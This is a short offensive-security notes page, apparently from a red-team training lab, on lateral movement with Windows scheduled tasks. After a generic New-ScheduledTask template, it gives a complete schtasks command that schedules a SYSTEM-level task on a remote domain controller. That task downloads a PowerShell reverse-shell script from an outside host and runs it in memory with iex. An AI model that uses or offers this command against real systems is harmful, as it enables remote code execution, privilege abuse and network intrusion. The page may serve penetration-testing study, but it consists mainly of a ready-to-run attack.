# Windows Task Scheduler

## Overview

To perform lateral movement using scheduled tasks, an attacker would typically use a compromised user account to schedule a task on a remote system. This task would then execute code or commands that would allow the attacker to move laterally across the network, escalate privileges, or access sensitive data.

```powershell
New-ScheduledTask -ComputerName <computername> -Action <action> -Trigger <trigger> -Principal <principal> -Settings <settings> -Description <description> -TaskName <taskname> -Force
```

{% endcode %}

### Using schtasks

Create / edit a Scheduled Job/Task. The job can be created on the local or a remote computer.

{% code overflow="wrap" %}

```powershell
schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''')'"
